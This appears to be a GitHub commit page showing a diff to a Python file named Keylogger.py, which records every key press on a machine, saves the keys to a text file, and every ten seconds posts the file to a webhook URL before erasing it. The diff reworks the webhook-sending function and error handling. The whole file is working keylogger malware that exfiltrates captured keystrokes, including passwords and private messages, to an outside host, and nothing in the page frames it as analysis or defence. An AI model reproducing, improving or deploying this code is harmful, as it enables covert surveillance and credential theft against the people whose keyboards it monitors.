Skip to content

Commit

Permalink
Update Keylogger.py
Browse files Browse the repository at this point in the history
  • Loading branch information
Themanhimself115 authored Aug 6, 2024
1 parent 2fbb6e0 commit d2088f8
Showing 1 changed file with 24 additions and 20 deletions.
44 changes: 24 additions & 20 deletions Keylogger.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,43 +9,48 @@
webhook_url = "" # your webhook # webhook.site





def erase_file():
with open(filename, 'w') as file: # Erases file content to resend fresh data
with open(filename, 'w') as file: # Erases file content to resend fresh data
pass



def send_to_webhook():
with open(filename, 'r') as file: # reads File content
file_content = file.read().strip().split('\n')
with open(filename, 'r') as file:
file_content = file.read()

payload = {
'content': file_content
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(webhook_url, json=payload, headers=headers)

data = {"key": file_content}
if response.status_code == 200:
print('Webhook sent successfully!')

try:
response = requests.post(webhook_url, json=data)
response.raise_for_status()
# Sends webhook
except requests.exceptions.RequestException as e:
print(f"Error sending to webhook: {e}")
print("Erasing File")
erase_file()
print("file has been erased")

else:
print(f'Failed to send webhook. Status code: {response.status_code}')
print(response.text)


def read_keys(): # Runs infinitely anyway
def read_keys(): # Runs infinitely anyway
while True:
event = keyboard.read_event()
if event.event_type == keyboard.KEY_DOWN: # reads keyboard events
if event.event_type == keyboard.KEY_DOWN: # reads keyboard events
print(event.name)

with open(filename, 'a') as file: # Writes to text file
with open(filename, 'a') as file: # Writes to text file
file.write(f"{event.name}\n")


def Main():
while True:
time.sleep(10) # set this to how long it will read and send
time.sleep(10) # set this to how long it will read and send

print(f"Admin: Sending to Webhook == {webhook_url}")

Expand All @@ -59,12 +64,11 @@ def Main():

print(f"Admin: File Erased")

time.sleep(0.5) # Dramatic Wait
time.sleep(0.5) # Dramatic Wait

print(f"Admin: Continuing Keylogger")



key_thread = threading.Thread(target=read_keys)
send_and_RX = threading.Thread(target=Main)

Expand Down

0 comments on commit d2088f8

Please sign in to comment.